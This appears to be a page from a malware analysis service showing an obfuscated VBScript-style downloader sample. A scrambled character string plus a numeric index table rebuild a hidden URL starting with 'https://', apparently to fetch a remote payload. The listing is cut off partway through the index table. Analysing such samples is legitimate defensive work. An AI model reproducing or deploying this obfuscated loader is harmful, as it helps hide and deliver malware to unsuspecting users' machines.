UTLGgh = "iagkpOvDxlNFZuLcwgNplXMpsC/silWikhQFiqBbhpkesjwiE/M.EVRMqHxMtdUluF/dytoAmtxgsGkeLsNRmUN:stFnMgItfzaZdy/yeyam.xQhl/7AfRRImCxXcIUtRoOfXceLH"
TYB(0) = 34
TYB(1) = 61
TYB(2) = 61
TYB(3) = 5
TYB(4) = 88
TYB(5) = 27
TYB(6) = 27
TYB(7) = 25
TYB(8) = 71
TYB(9) = 73
TYB(10) = 44
TYB(11) = 3
TYB(12) = 62
TYB(13) = 5
TYB(14) = 25
TYB(15) = 10
TYB(16) = 71
TYB(17) = 10
TYB(18) = 52
TYB(19) = 115
TYB(20) = 73
TYB(21) = 52
TYB(22) = 5
TYB(23) = 10
TYB(24) = 27
TYB(25) = 62
TYB(26) = 2
TYB(27) = 61
TYB(28) = 2
TYB(29) = 40
TYB(30) = 2
TYB(31) = 25
TYB(32) = 44
TYB(33) = 27
TYB(34) = 10
TYB(35) = 14
TYB(36) = 27
TYB(37) = 56
TYB(38) = 35
TYB(39) = 130
TYB(40) = 60
TYB(41) = 44
TYB(42) = 21
TYB(43) = 12
TYB(44) = 60
TYB(45) = 129
TYB(46) = 110
TYB(47) = 95
TYB(48) = 75
TYB(49) = 85
TYB(50) = 83
TYB(51) = 23
TYB(52) = 126
TYB(53) = 42
TYB(54) = 98
TYB(55) = 107
TYB(56) = 10
TYB(57) = 78
TYB(58) = 114
TYB(59) = 69
TYB(60) = 132
TYB(61) = 17
TYB(62) = 25
TYB(63) = 47
TYB(64) = 113
TYB(65) = 105
TYB(66) = 71
TYB(67) = 100
TYB(68) = 118
TYB(69) = 8
TYB(70) = 81
TYB(71) = 9
TYB(72) = 51
…

Open this report in the interactive analyzer, or submit your own file for analysis.